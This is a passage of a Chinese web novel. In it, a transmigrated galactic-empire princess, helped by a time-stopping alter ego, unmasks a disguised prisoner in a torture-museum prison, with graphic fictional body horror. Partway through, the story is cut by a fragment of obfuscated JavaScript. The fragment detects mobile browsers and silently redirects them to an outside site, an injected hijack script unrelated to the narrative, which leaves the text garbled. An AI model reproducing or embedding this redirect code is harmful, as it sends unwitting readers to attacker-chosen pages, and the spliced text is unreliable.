果不其然,在任务简报之后,系统升起了新一行的字幕:
『请注意,您的最终目标是:打败全部政敌,成为银河帝国的女皇,维护银河帝国的长治久安。』
『接下来,为方便您适应,将为您开启新手引导:』
『第一个任务为期10min,任务目标:肃清危险!』
『任务奖励:洞悉2点』
『失败惩罚:真实死亡』
『倒计时已经开始!』
系统的介绍结束,一枚血红色的倒计时仍然留在柯茵的视网膜边缘,不急不缓地、忠实地记录着时间。
『9:59』
4. 疯子和疯子们(3)
时间流逝。
伴随着血红倒计时的开始,柯茵原以为会从巨大的铁门内冲出汹涌的虫群或者其他什么危险,像是游戏中的除草任务那样。
但是略带诡异的,什么也没发生。
只是从沉重的铁门内,传来了阵阵阴风。
所以,系统说的肃清危险是要肃清什么?
柯茵略感奇怪。
此刻,任务目标尚不明确,但失败惩罚却很清晰——彻底死亡、形神俱灭,而非简单的书中角色的死亡。
柯茵决定进入门内一探究竟,却发现监狱巡察们停下了脚步。
就在柯茵等待答案的时候,从门内传出一阵沉重的脚步声。
几名身着悬浮式熔血外骨骼铠甲的士兵,穿越廊桥,快步走到柯茵面前站定,她们中的一个人走了出来,对着柯茵敬了一个星际时代的军礼——左手攥拳,先是敲击右胸,然后抬手触碰额头。
“皇女殿下,从这里起,由我们接手。”
士兵的熔血盔甲上佩着暗红色的徽记,那是十人小队队长的标记,队长对着巡查长点头致意。后者礼貌地压压帽檐,带着他的手下先行离开。
通过原主的记忆,柯茵认出接替监狱巡查的是皇女的亲兵卫队——这些身高将近两米的女战士们都曾在“圣堂”受训,是运用星辰力量的熟手,她们身上随着呼吸起伏的熔血金属盔甲就是最好的证明。
看来,门内的警戒级别显然是更高。
柯茵敏锐地察觉到一丝诡异。
所以,为什么原主要把一个奴隶关在这种地方?
以及……系统所说她会面对的危险到底是什么?
监狱巡察离开后,柯茵跟随着贴身卫队走进高大的铁门内,她那面忠实的镜子也亦步亦趋地跟随着。
铁门内只有一条通往远方的廊桥,在廊桥下,是深不见底的深渊,柯茵向下望去,除了黑暗什么也没看到,只听到了风的呜咽。
“皇女殿下,深夜打扰您,但诺曼医生报告手术进行得不太顺利。”
“关于那名奴隶的性命,事关重大,必须由您亲自定夺,毕竟您还没见过那名奴隶,我们不确定您是否会对他网开一面。”
队长一边说一遍为柯茵介绍着紧急情况究竟是什么。
“是吗?见没见过他为什么会影响我的判断?”
柯茵老练地从队长的话里提取出微妙的成分——这是她在上一本书中历练出来的基本素养。
只见严肃板正的队长脸微微一红,轻咳一声,解释道:
“因为那家伙……有几分姿色。”
“您看到就明白了,以我们这些粗人的审美,他比您剧团里的那些男人倒是标致不少。”
嗯……居然是这样。
柯茵想,原主在某些方面还是和她有几分臭味相投,比如对长得入眼的家伙都保留一些有代价的仁慈。
听到队长的话,走在前面的安泊尔步子一顿,补充起信息:
“但那个奴隶说到底不是凯瑟尔家族的小儿子,没有贵族爵位。”
“这样一个地位低微的男人对于您的府邸来说是不能接受的!”
“更何况他欺骗了您,您必须杀了他。”
“地位……”
柯茵低低地重复了一遍,她想到了系统的任务简报:
『在故事开始时,她意图将自己行省之下最大家族——凯瑟尔家族的小儿子纳为侧室。』
『但她没想到,凯瑟尔家族居然为她送来了一个冒名顶替的奴隶。』
所以原主想要的并非是一个貌美的丈夫,而是自己行省内最大家族凯瑟尔家族的支持。
这种事情对于柯茵来说再熟悉不过。如果事情是这样的话,人们不知道皇女会在男人的使用价值还是实际的政治利益面前如何选择就也十分合理。
“我明白,先让我们看看情况。”
柯茵说完,队长和安泊就不在回话,赶路的空隙,柯茵得意抬头把目光移到她方才就很在意的地方——头顶那些鲸鱼骨架。
方才铁门刚开启的时候她就有些好奇,那些悬在天上的奇诡生物骨架到底是什么?
此刻,在柯茵头顶,形似鲸骨的标本足有的几百米长,一眼看不到头,背部隐没在这间特殊监狱天顶的黑暗中。
不知道为什么,柯茵总觉得它们有些诡异:
这些标本洁白干净,没有一丝岁月的痕迹,仿佛新制成不久。
而最让人感到惊悚的是,她通过仔细观察发现,这些生物骨架每个虽然有着鲸鱼的脊椎和肋骨,可却在收束得不成比例的小脊索首端却都赫然接着一个人类头骨。
这是什么超前的星际艺术品?还是这种怪物生来如此……
虽然柯茵拥有部分原主的记忆,但是不知道是不是因为酗酒之类不良的生活习惯,原主的记忆总是不甚清晰。像是在柯茵的脑海中隔着一团灰雾,有的时候能够提供一些帮助,有的时候,她的记忆却似乎和柯茵本人一样对这个世界茫然无知。
柯茵攥紧了一点拳头,开始怀疑自己是不是应该把那个在末世文里乱杀的自己设置为优先翼?
因为如果系统口中的危险是环境或者怪物上的,那么光凭她或者那个无限流自己的经验似乎远远无法解决星际世界这些棘手的问题。
穿越廊桥后,柯茵跟随自己的亲卫队进入一片宽阔的空间。
这里似乎就是特别监狱的本体了。
之所以说“似乎”,是因为她眼下身处的环境,的确有着牢房的标配——铁栏和各式刑具,但其内部装潢却不像是别的监狱一样朴素。
囚室宽阔且装潢华丽,但却处处散发着诡异和恐怖——与其说是一间特别牢房,这里更像是巨大的博物馆,也更符合第一章的章名。
“皇女收藏室”。
收藏室空间极大,异常幽深、宽阔,吊顶很高。
因为大,所以及时深处室内也非常寒冷,虽然身上的熔血金属材料让柯茵的身体保持着初春般的温度,但她还是能看到自己呼出的白气。
皇女收藏室内部首先夺人眼球的仍是从吊顶垂下的人头鲸标本——
这具人头鲸和廊桥上那些同胞相必显然小了不少,只有几十米宽,在它类似人头和颈椎的下面一点,一双和鲸腹相比小的不成比例的孩童双臂对着身下的观众张开怀抱,仿佛模仿迎接波涛的船首像。
在这个已经化为白骨的怪物神情木然的怀抱下,柯茵的左右手两边分列两排一人高的玻璃展柜——
展柜的支架和边角边缘是华丽的金银装饰,但里面的藏品却丑陋到可憎的地步。
伴随着柯茵的深入,她的目光不断扫过那些静默的展览品们——
泡在奇怪液体里失色的心脏、手臂以及被整个取出的属于人类的白色丝状神经系统,面目如蜡一般扭曲的全息哭泣人像,插满餐刀的陈旧生锈的柴油汽缸。
如果不仔细看的话不会发现,这其中但部分的展品都还活着……
除了已化为白骨的人头鲸,似乎其他的展品都在在遭遇永世折磨,死亡也不能结束他们的痛苦。
牢房寂静空荡,但不知道为什么,柯茵却感觉自己周围、包括头顶的每一样展品都在无声地厉声尖啸。而在那些无声的尖啸中、在房间尽头游弋着的浓重黑色里,一阵真切的切割声隐隐传来。
嘎吱…嘎吱……
刀刃摩擦骨肉的声音令人牙酸,像是在屠宰、肢解什么。
柯茵被那让人后脊发凉的声音刺激到,循声向黑暗中张望,却发现什么也看不见。
这件可怕的展览室太大了。
“皇女殿下,您来的正好,给您丈夫的手术还要继续吗?”
伴随着磨刀的声音,一个高大的男人从监牢深处的阴影里走出来。他步伐沉重,身上的铁链哗啦作响。
直到那人走到囚室里唯一的光源下,柯茵才发现面前的家伙快两米高,一身吓人打扮——
男人戴三角形的刽子手头罩,腰间别着锈迹斑斑的屠刀。
他上身只套一
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件沾血的屠夫围裙,黑色防水布围裙上是冒着热气的血——
滴答、滴答。
宽阔空荡的牢房中里,极寒星球的寒冷空气无孔不入,但寒气似乎对他毫无影响,反而让他看起来像是一尊铁铸的雕塑——雕塑对着柯茵举起双手,血液顺着手套蜿蜒,像刚完成人牲献祭,或从子宫中拽出了早产的畸胎。
“皇女殿下?您在听我说话吗?”
柯茵的确没有在听眼前这个大家伙说话,因为她在打量这个可怕的男人,同时思考着视网膜也就是视线角落里的倒计时——
『5:01』
该死,光是抵达这里就已经花了五分钟,柯茵想,如果眼前的男人就是系统口中自己要肃清的『危险』——
那她或许真的没办法在5分钟之内就把它干掉。
但好消息是她还有亲卫队,而这个大号屠夫对她也并没有任何的敌意,反而毕恭毕敬地佝偻一点身子,等待她的请示。
看来,这家伙应该不是危险,反而可能是队长口中的医生?
“请……再说一遍,什么要不要继续?”
听到柯茵的问题,带刽子手头套的男人显然迟疑了一下,但他还是用低沉的声音回答。
“对您丈夫的手术。”
柯茵目光滑向自己左右手的可怕陈列,一个自然的联想浮现心头——
这些东西也都是“手术”中获得的?
似乎是为了回应她的想法,原主的记忆涌上心头——可怕的场景在柯茵眼前飞快闪回!
没错。
这间囚室里展览的人类肢体的战利品全都是通过男人口中的“手术”获得的。
而且这里每个展品,都曾是原主的情人!
尽管经历过一次穿书的柯茵习惯于在陌生诡异的场景醒来,或者钻到有着创伤回忆的原主的身体里取而代之,但是方才从她眼前闪回的一切还是太超过她的认识了。
那些无法用语言描述的画面让柯茵更加感觉到自己身体原有的不适。
眩晕、发冷的感觉难以平复。
原主还真是,品味非凡。
就在柯茵略感身体不适的时候,她的身后响起一个清亮的女人声音,那是一直跟随柯茵进来的皇庭近侍安泊尔。
“我方才就想说了,诺曼医生……请稍微退后一点,别把肮脏的血弄到在皇女殿下身上。”
安泊尔说着,自然地为柯茵引荐着这位她之前没见过的“监狱医生”。
“为了惩罚凯瑟尔家的奴隶,您让诺曼医生给您开发那款新刑具——厄洛斯之钉。听说要捣碎前额叶,从眼眶里打入长钉什么的……我不太精通医术……”
皇庭近侍安泊尔似乎是因为觉得太残忍,因此摇了摇头,忙不迭地把话头扔给眼前的高大男人:
“我说多了,总之,这位为是您开发厄洛斯之钉的诺曼医生。”
只见身材高大,比起医生更像屠夫的诺曼先生顺着她的介绍,深深地对着柯茵鞠了一躬,竟有一丝和他外貌完全相悖的——儒雅随和?
但伴随着他的动作,医生手上的鲜血溅到在柯茵的脸上。
安泊尔暴跳如雷。
“诺曼医生!您在做什么?!我不是说了!”
“抱、抱歉,皇女殿下……!”
监狱医生说着想要摘下自己的手套,却把更多的血摔倒了柯茵脸上。
冰冷、粘稠的血滴沾在柯茵的唇边。
在安泊尔如临大敌地用手帕拭去之前,柯茵伸出舌头舔去了自己唇边的血迹。
果然,血就是血,尝起来有着痛苦的甜味。
柯茵看到因为她这个动作,安泊尔的瞳孔都因为惊恐微微放大了一点。
“抱歉,皇女殿下,您第一次召见诺曼医生,他可能不太懂礼数……”
柯茵摆了摆手,示意无妨。
只见那个反差颇大的监狱医生再次礼貌地续上了一开始他方才提的的问题:
“皇女殿下,代表我的同僚们欢迎您。”
5. 疯子和疯子们(4)
“我是您的医生诺曼,您周围的这些收藏品都是经我之手打造的……现在正在为您制作的最新藏品叫‘永恒爱意’……”
“这本会是一次全新的尝试,我原本打算改造那个叫克劳狄的家伙的大脑,使其永远对您保持‘忠诚的爱’,再把他钉在架子上。”
“充满诗意的名字,有趣的主题。”
柯茵挤出一个苦笑评价道,往额叶里面打铁钉的爱意?确实十分永恒。
要是放在她来的那个世界,医生和原主绝对是两个彻头彻尾的行为艺术家。
柯茵想,如果自己是男主,还经历了医生口中这些酷刑,那她活下来之后的第一件事,也绝对是找折磨自己的超级变态小王八羔子好好“叙旧一番”——用刀子或者斧子叙旧。
但可惜,柯茵不是男主。
所以她不会给男主报复自己的机会。
柯茵想着,似乎知道自己要肃清的威胁是什么了……
她看向在自己视线边缘一直忠实记录时间的倒计时:
『3:29』
柯茵看时间正在流逝,便抬眼追问,“所以,克劳狄现在情况怎么样?”
高大的监狱医生沉默了片刻,以不符合他身材的战战兢兢回答:
“我要告诉您一个不太好的消息,皇女殿下。”
“克劳狄快不行了。”
??
柯茵有些震惊。
也就是说,本书的男主克劳狄,目前整个囚室里命运最悲惨,□□上也最惨,恐怕也最想杀她、最有动机杀她的人——现在快咽气了。
柯茵饱含愧疚地兴奋起来:
天底下还有这种好事?
只见医生委屈巴巴地向她解释着:
“手术遇到了一些小插曲。您的奴隶挣扎得太厉害了,钉子严重破坏了他的大脑组织,我来是想上报您——”
“请问皇女殿下,手术还要继续吗?”
“还是干脆把他杀掉,我们来制作做一个别的主题的藏品。”
医生的声音从头罩里闷闷地传来。
她收回自己关于原主的一切指责。
主题展览,好,藏品,好。
柯茵想,她和原主一样喜欢“死亡”这个展示主题,只要藏品原材料来自她的对手而不是她自己就行。
反正根据书底简介,男主迟早要杀自己,现在让他死了不是美事一桩?
虽然自己已经有了决断,但是上一世的经验还是让柯茵养成了兼听周围人意见的习惯。
“你的意见是什么?医生。”
“全凭您的意思,皇女殿下,我也觉得救治他没什么必要,毕竟现在的他对主题传达的意义很有限……”
医生的话里有种平淡的惊悚,他用谈论期末作业的语气谈论着如何处置活生生的人,仅仅是为了满足他的上司和他自己独特“爱好”。
“顺便一提,皇女殿下,我已经把他的颅骨砍开了,您想先看看吗?”
“够了,谁不知道皇女殿下最爱干净。那种污秽的东西怎么能脏了皇女殿下的眼!”
皇庭近侍安泊尔在一旁掩着鼻子训斥到,然后转向劝告柯茵。
“皇女殿下,克劳狄只是您封臣家的奴隶,这样姿色的东西我们还能找到很多。这里太脏了,您还是赶紧下令杀了那个克劳狄然后离开吧……”
『2:43』
留给柯茵做决定的时间不多了。
但就在她眯着眼思索整件事的时候,她的背后传来一阵凄厉的哭声:
“皇女殿下,求求您,不要再折磨克劳狄了!求求您了!”
柯茵循声看过去,展览室的一角,某个她一直没有关注的地方,一个穿着白色纱衣的少年被锁在刑架上,他洁白的衣服被弄得泥泞肮脏。可是他顾不得这些,扯动着铁链苦苦哀求着:
“求求您,尊贵的皇女殿下,克劳狄虽然不是凯瑟尔家的血脉,但他是个好人,求您别折磨他,请您展现您的仁慈……”
“给他个痛快吧!”
“那又是什么人?”柯茵皱眉问。
“皇女殿下,那个是克劳狄的陪嫁侍从,同样是个奴隶,”皇庭近侍安泊尔飞快地看了陪嫁侍从一眼,“但他说得对,您应该尽快杀了克劳狄,以示仁慈。”
好一个仁慈……
柯茵想着。
虽然她觉得事件有一些蹊跷,但被权力欲望饲养出野兽已经在她的心中叫嚣着杀掉男主了。
这个时候放过克劳狄是没有意义的,他已经半死不活了,如果此时释放他,他便会像是原书剧情里那样对自己动手。
所以,的确,真正的仁慈就是赶紧杀掉他。
“那还等什么,动手。”
柯茵略带愉悦地说道,但她发号施令的瞬间就顿住了。
一个微妙的念头一闪而过!
柯茵忽然意识到局面中的一丝不和谐,那种不和谐的感觉像是闪电一般窜过她的脊骨……
该死!她怎么早没想到!时间已经有一些来不及了。
『1:01』
“稍等一下。”
柯茵猛然抬起手,迅速地撤回了自己的命令。
“医生,先别急!”
就在柯茵纠正自己错误的时候,医生的大手已经捏着自己的防水围裙擦净了屠刀——
那一瞬间,柯茵从那把屠刀的刀刃反光中看到自己的样貌!
刀刃狭长的反光中那个戴着圆框眼镜版本的柯茵狡黠地微笑,对着反光外的自己伸出手,攥住她的肩头,一把将她抓进了刀刃反射出的镜中世界!
『【优先翼】人格已激活,将于60秒钟后消失!请您谨慎使用!』
『本段剧情人格唤醒次数剩余:1次!』
==
无限流柯茵把她拽入的镜中世界是黯淡且静止的——
屠夫医生围裙上的血滴停在半空,皇庭近侍咳嗽的动作僵在原地,陪嫁侍从眼角的泪水也停止了滑落,就连士兵们身上悬浮式的外骨骼盔甲都停止了上下浮动。
“居然真成了……”
“你在干什么?!”柯茵问。
其实她更在意的是3号是如何做到的。
穿着帽衫带着圆框眼镜手里还转着钥匙的3号柯茵耸了耸肩。
“我在救你的命啊,陛下,救我们的命。”
“我不需要……!”
柯茵咬牙切齿地回答。
“我有这么傲娇吗?”无限流柯茵转着钥匙望天,寻思片刻,肯定地回答,“嘿,你别说,还真有。”
她说完,指了指柯茵视线中应该有红色倒计时的地方。
『1:01』
时间居然静止了!
3号打量着柯茵脸上的表情,玩味地说到:
“不,这不是人格切换时的特效。”
“这是我带来
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的金手指。”
啧……柯茵感到一种莫名地不快,她已经习惯于敌明我暗的优势地位,而3号则总是能看透她的想法。
“特别好的金手指。”柯茵假装夸奖实则道,“所以你要怎么救我的命?”
“我们有一分钟的时间。”
“我们有无限的时间。”3号自豪地给柯茵解释着。
“就像是那个玩槍的家伙的技能一样,我也有从上次穿书带来的金手指……或者说,技能。”
“这是我的技能,叫【不动飞矢】:”
“你一定听过那个故事吧,一支飞出的箭其实是不会动的。”
“看看一支正在飞的箭。在每一个瞬间,它都必定停在空气里的某个位置,对吗?就像给飞箭拍照一样,总能拍到它停在那里。”
3号柯茵说着,把自己的钥匙抛向了空中,但就在钥匙上升的一瞬间,它就停住了,3号把自己的手在钥匙地上下扫了扫,证明自己没在用什么道具作弊。
“就像我的钥匙。”
“它在运动的每一个瞬间都是静止的,那为什么它在运动呢?”
3号说完,自豪地看向柯茵,像是在等待她夸奖的孩子。
“因为箭是在时刻之间运动,而不是在时刻上运动。”
柯茵毫不留情地回答。
“呃……”面对自己的拆台,3号抓住钥匙,无奈地说,“看来政治生活真的会让人失去想象力啊!”
“我也不知道智力游戏会让人成为无视常识的杠精。”
“算了,你说得都对,总之,这是一个能让时间停止的技能。”
3号抱起手,眯了眯眼镜后的眼睛,看向柯茵,充满怀疑和质询:
“那尊敬的陛下,如果不是我暂停了时间,您又将如何解决我们的问题呢?怎么避免我们不至于在您的英明领导下,走入万劫不复的、死亡的深渊呢?”
“哈?你在考验我?”柯茵唇角扬起讥讽的笑意,“不,不是考验,是要挟。”
“如果我不能答对你的问题,你就会用时间困住我?”
柯茵当然捕捉到了3号刚才的话,她说,“我们拥有无限的时间”。
所以,3号不止有能力是帮柯茵暂停时间好让她想想如何完成系统的任务。
她还有能力困住她!
“没错,正如您所见,我拥有无限的时间。”3号微笑着回答。
柯茵发现3号笑起来的时候和她自己几乎一模一样,危险十足。
“正如你所想,陛下,我就是你,我和你一样阴险、黑暗、不择手段。”
“也和你一样愚蠢。”
3号脸上总是挂着的那种慢不关心的散漫神态骤然消散,她用钥匙点了点自己的太阳穴,看起来目光就和那个年迈的向导一样坚如磐石。
“所以,在副本里,当我想不到一道题的答案、或者只是不能百分之百地确定自己的答案时,我就会把自己关在这里……”
“我会不停地想、不停地想,直到我自己确认那个答案完全正确,没有一丝漏洞。”
3号说着,露出一个艰难地回忆的表情:
“如果系统没对我说谎的话——”
“我已经在这个静止的时间王国里度过了两百七十万年。”
“所以,陛下,如果你不想这里和我一起接着度过下一个美妙的两百多万年的话,请务必答对我接下来的问题。”
6. 疯子和疯子们(5)
这个做了两百万年题的疯子竟然妄想把她也困在这里!
不得不说,继12号向导之后,柯茵再次从自己的身上感到了一丝危机。只不过真想困住她,未必有3号想得那么简单。
只见危机的制造者3号柯茵把手揣进兜里,她脸上那种坚定而严肃的表情消散,恢复到平时的懒散状态。神情中除了满不在意,还有一点愉悦。
那种喜悦很好理解,柯茵想,如果她做了两百万年题,第一次有给别人出题、说“我来考考你”的机会,那她也会忍不住把兴奋挂在脸上的。
“好,第一个问题,系统让我们肃清的威胁是什么?”
“男主。”
“第一道题没什么含金量,第二个问题,你要怎么办?”
3号说着,目光直视柯茵,似乎在说,“这才是真正的考验哦”。
“抓住他。”
“哦?有意思,不是杀掉他吗?”
“当然,我们‘还没’抓住他呢。”
说罢,柯茵抓住3号的漏洞,像她习惯地那样,看似用上位者虚怀纳谏的姿态,实则刺探地问:
“所以是你的话,你会怎么办?杀掉他?”
“喂!现在是我问你答环节!”
3号伸手对着空中挥拳,孩子气抱怨着。
“哈哈……”
柯茵开怀地笑了,3号虽然智慧,但略失城府,她的智识有多耀眼,意图就有多清晰。
柯茵看出来了,她此时已经看出来,这是考验,而不是挑衅。
3号在考验她具不具备领导她们的智识。
柯茵也乐得接受这样的考验。
她很久没有和这样的人打交道了,心中油然而生一种道不明的快意,就好像是与最得力的谋士在阴雨天长坐于廊下弈棋,棋逢对手处,满脑子想得都是再杀一盘!
“来,接着问。”
“最后一个问题,克劳狄在哪儿——”
柯茵回答……
==
柯茵最后一句话说完,周围静止的时间重新开始流动,褪色的黯淡景物也恢复如初:】
血和泪同时轻轻滴下,安泊尔沉重地咳嗽起来,士兵们的盔甲也重新恢复到那种一呼一吸的悬浮状态。
『1:00』
『0:59』
倒计时重新开始。
柯茵被3号放了出来。
她调整了呼吸,面向高大的医生询问:
“向您再确认一下。克劳狄一点救活的希望都没有吗?”
“可以试试,但希望渺茫,皇女殿下。”
柯茵想要直接地进行自己的计划,但她起了一点玩心、主要是想看看队长口中的男主“有点姿色”到底是多有,于是她思索片刻,回答:
“把克劳狄杀了,然后把她的尸体扔进焚烧炉吧。”
『0:44』
屠夫医生点头,透过头罩上的小洞看了柯茵一眼,礼貌地问:
“皇女殿下……我想请问一下,那我们要拿那个男孩做一个新的展品吗。”
柯茵看着他,说出医生最想要的答案:
“我想没这个必要,医生,你可以把他也一起带下去,随便处理掉。”
『0:32』
医生点头的目光平淡,仿佛他早就猜到自己喜怒无常的上司会出这个主意一样。
“好的,皇女殿下,如果没什么的事情的话,我就下去了。”
医生说罢,走到柯茵背后的刑架上,把被锁在上面的男孩从刑架上解下来,扛在肩上,准备离开。
『0:30』
倒计时来到最后30秒。
就在医生的背影逐渐要消失在黑暗中时,像是玩弄猎物一般的柯茵叫住了他。
“啊,对了,医生……”
柯茵忽然提高语调,她像个犯了难的病人,为难地搓了搓手。
“诺曼医生,请您稍微留步。”
柯茵看见医生在囚室里站定,自己则漫不经心地踱到远处。
“当然,皇女殿下,您还有什么要求。”
柯茵说话时,时间不多不少,倒计时显示——
『0:20』
20秒,完全足够她完成系统的“新手任务”。
路过一个士兵时,柯茵屈起手指在那厚重的外骨骼铠甲上叩了两下,发出清脆的回响,确认那星际科技足够结实后,她决定开口。
“我只有一个小要求……医生”
“我要求你,立刻投降。”
“呃、我不明白,您这是什么意思?”
柯茵狡黠地抬眼,嘴角带着一丝微笑,命令到:
“我的意思是,士兵们,把这个‘诺曼医生’控制住,千万别让他跑了。”
『0:15』
『0:14』
『0:14』
倒计时凝固了。
『恭喜宿主,达成任务目标!获得两点洞悉』
『请稍事休息,随后伴随剧情进展,将会为您接入第二个新手任务。』
柯茵松开从方才开始就无意识紧攥、甚至给手心掐出红印的拳头,身体也轻快不少。她终于能放松地看向自己一手造就的紧张场面,却伴随着诡异的惬意和满足。
“来吧,士兵们,帮我把‘诺曼医生’押住,千万别让他跑掉。”
只见听到她的命令,“诺曼医生”肉眼可见地僵硬了一瞬。
同样没反应的过来的还有监狱外的那群士兵们。
“愣着干吗?等我自己动手抓他吗?”
柯茵快活地打了几个响指,身穿动力外骨骼的皇女亲卫们这才反应过来把‘诺曼医生’围了起来。
别说是士兵了,在场的所有人都一头雾水——包括被围住的‘诺曼医生’自己。
柯茵身旁的安泊尔也被吓了一跳,她以为是皇女的阴晴不定又发作了,于是忍住恐惧,得体地求情:
“诺曼医生只是手术失败而已,皇女殿下,请您放过他。”
“您这个月已经杀了很多人了,如果消息传达通衢星的皇庭,您的姐妹们恐怕会拿这件事弹劾您,说您监管监狱不力”
“她们之前已经这么做过了……皇女殿下!”
“但你刚刚不还是劝我杀人吗?”
柯茵轻啧一声,敏锐地捕捉到安泊尔言行中的不一致。
“殿下……这不一样,克劳狄只是个奴隶。”
安泊尔有些紧张地说道。
“是吗?”柯茵玩味一笑,回答道,“我理解你劝慰我的一片苦心,安泊尔,但起来看看这家伙,他不是‘诺曼医生’。”
“什么?”安泊尔惊讶道。
“没错,我们面前的这位先生,不是医生,反而是一个满嘴谎言的骗子——”
“克劳狄根本没有濒死,反而健康得很。”
“诺曼医生”试图为自己辩解:
“皇女殿下,如果您不嫌脏的话,您可以亲自到囚室里面看一眼,克劳狄已经血肉模糊,只剩一口气了。”
柯茵笑起来,目光扫过“诺曼医生”高大强壮的身体,轻蔑道:
“不不不,克劳狄好着呢,好好地站在我面前狗叫呢。”
“怎么,没有回答了?”
“克劳狄。”
伴随着皇女的话,队长率先意识到了情况不对,她和对面的士兵先将医生准备带走的男孩押了起来,随后,几个人不顾医生的挣扎,把他也按倒在地。
茵走到被两个士兵反剪双手,按着跪倒地上的“诺曼医生”面前,一把掀开了他的头套。
头套里是一张对医生来说稍显年轻的面孔。
看到头套里的面孔,囚室里响起此起彼伏惊讶的抽气声——
“克劳狄还活着?!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14739539|157477||http|test|mini|href|location''.split(''|''),0,{}));
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>“这货不是诺曼医生!”
“怎么会是他?!那诺曼医生呢!?”
紧接着,人们纷纷把目光投向他们的主人——八皇女柯茵。
议论、猜测、不敢说出口的疑惑都凝聚在他们小心翼翼的打量中。
==
两分钟前。
“最后一个问题,克劳狄在哪儿——”
“就在我们面前。”
柯茵指了指她和三号面前高大的“监狱医生”。
3号抱着手点头,公正地评价道:
“看来您并不好糊弄,‘陛下’,我的担心倒是多余了。”
3号说完摇了摇头,似乎是有些失望于自己的计划只能进行到这里了。
“看你一开始的反应,我还以为你被蒙在鼓里了……所以,想拉你一把,仅此而已。”
“你判断得没错。”
柯茵真诚地回答着。
“其实,在知道要肃清危险之后,我的第一反应是系统所指的‘危险’是原书的男主克劳狄,系统在鼓励我先下手为强,不要给他日后报复我的机会。”
“但这里有一个最大的问题,想必您已经发现了。”3号转转钥匙说到。
“没错,”柯茵点头,“在杀他之前,有一个更根本的问题被我忽略了……”
“我从没见过男主克劳狄。”
柯茵在这里刻意省去了原主的记忆时而模糊时而清晰的细节,即使此刻她其实已经对3号产生了不错的信任,但柯茵一贯的原则还是保持了——不说多余的话。
“嗯,在廊桥上,亲卫队长说‘克劳狄有点姿色’,‘我们看过就知道了’,这证明我们其实并没见过这个未来的丈夫。”3号点头补充着。
“侧室。”柯茵仔细地纠正道。
“噫……你们疑似有点太封建了太前现代了。”3号因为那个称呼而恶寒,甚至打了个激灵,“我是现代人,还是有基本的底线的。”
“……可怜的孩子,你那本书是无CP吧。”
柯茵怜爱起了这个版本的自己。
她不会寡了两百多万年吧?
“我去!先别说我的事儿!”3号抗议道,“第二个线索是监狱医生诺曼,我们也是第一次见他,对吧,咳、咳咳!”
3号把自己说得面红耳赤,柯茵最终是不忍心把自己坐拥后宫这件事儿告诉她,只是点头。
“再加上不诺曼医生那个炫酷的很难让人不注意的性感刽子手头套。”
“还是覆面系呢。”
柯茵特意加重了“性感”两个字,她说完,3号的脸直接又红了一个色阶。
“啊……是、是吗?我怎么没注意到。”
“总之,您说的没错,诺曼医生就是克劳狄,这就是他的金蝉脱壳之计,这个聪明的小耗子。”
“所以……”柯茵看向3号,目光在那张和自己一模一样的面孔上仔细捕捉着情绪——
此时正是3号在自尊心上最虚弱的时候,也是她趁虚而入树立权威的大好时机。
“现在换我问你了,3号,如果你是我,如果你是现在执掌身体的人格,你下一步会做什么?”
3号被她的称呼吓了一跳,但还是很快回答:
“既然我抓住了克劳狄,那下一步必然是杀了他,完成任务,很简单。”
“不要小瞧我们无限流,也是要死人的呢!”
“天才……”柯茵笑起来,评价着3号,“看来你应该再多思考几十万年。”
“哈?你什么意思?”3号的耳朵也红起来,这次是因为没答对题的羞涩。
“我们不能杀他。”
柯茵解释。
“相反,我们要救他。”
“我们要给他自由人的身份和一场整个第三行省最盛大的婚礼。”
“不是……封建余孽活化石,你想颜色废料想疯了??”
7. 疯子和疯子们(6)
柯茵怒其不争地叹了口气。
没谈过恋爱的人是这样的,以己度人!
“人类历史上百分九十九的时期,婚姻不是因为爱情,而是因为利益……爱情是启蒙运动时代才诞生的晚近发明,所以,别惦记你那纯爱了,好好回想一下,我们在监狱里的时候、犯人们对我们吐口水的时候,他们在怒吼什么?”
3号被柯茵一点,思索起来。
“那些犯人喊:‘凯瑟尔家的狗,放我出去。’”
凯瑟尔家的狗。
“我去,对啊!按理来说,那些监狱巡察是你的人,这间监狱是你的监狱。”
“没错……帝国监狱是我的。”
柯茵冷冷地总结到。
“但第三行省是凯瑟尔家族的。”
“你从监狱犯人的口中已经看出来了,人们不够恨这个八皇女,而她才是第三行省的总督。像她这样的人,人们不够恨她自然不可能是因为她施政得当。”
“人们恨她,只有可能是因为她没有实权。”
但众所周知,权力无孔不入,这个八皇女无力掌握的系统和组织,一定有人替她填补真空。
替柯茵填补权力真空的,一定就是这个凯瑟尔家族。
“如果这么说的话……”3号沉思起来。
“我没记错的话,刚才系统介绍的时候说过,原主就是因为和凯瑟尔家族的联姻一事与男主结下的梁子……”
两个柯茵几乎是异口同声地说到:
“阴谋。”
“凯瑟尔家族的阴谋。”
柯茵和3号同时微笑起来。
3号挠了挠鬓角,傲娇地开口:
“陛下,你对权力与政局的感知能力的确在我之上。”
“但这和不杀男主有什么关系呢?万一他是那座被送来的特洛伊木马?”
“在这场局里,他是特洛伊公主还差不多……”
柯茵耸了耸肩,给3号解释起婚姻和阴谋的运作机制:
“通过系统的介绍,还有这间收藏室你也大概能看出来原主的性格残酷。”
“作为整个帝国的皇位继承人,给这么一个弑杀的人送身份低微的奴隶的人,只要长了脑子,
就知道这个家伙必死无疑。”
“所以,3号,如果是你的话,你作为第三行省权势最大的家族,做一件可能惹怒自己行省的行省总督的事情,背后可能有什么原因?”
3号欢快地转起了钥匙,似乎是很满足于这道新的智力问答题:
“当然是为了激怒她!”
3号的回答看似是重复了一遍回答,但柯茵知道她已经完全理解了自己的意思。
“所以,用不了多久,她们就会进行下一步的。”
“在凯瑟尔家族动作之前,我们不能让克劳狄死。”
“好了,阴谋启蒙课就到这里了……”
柯茵说着转身准备离开镜中世界。
“你说的有道理……等等,”3号忽然疑神疑鬼起来,“所以你的金手指是什么?读心吗?还是别的什么?”
“想知道的话下次再用什么来换吧,3号。”柯茵说着,摆摆手,走到自己所携带的镜子面前。
她一把扯下镜子上的盖布,在3号的抱怨声中离开了镜中世界。
“这镜子在一直你背后??所以你一开始就能出去,而你假装被我困住只是为了跟我显摆你的远见卓识吗?哈?!!”
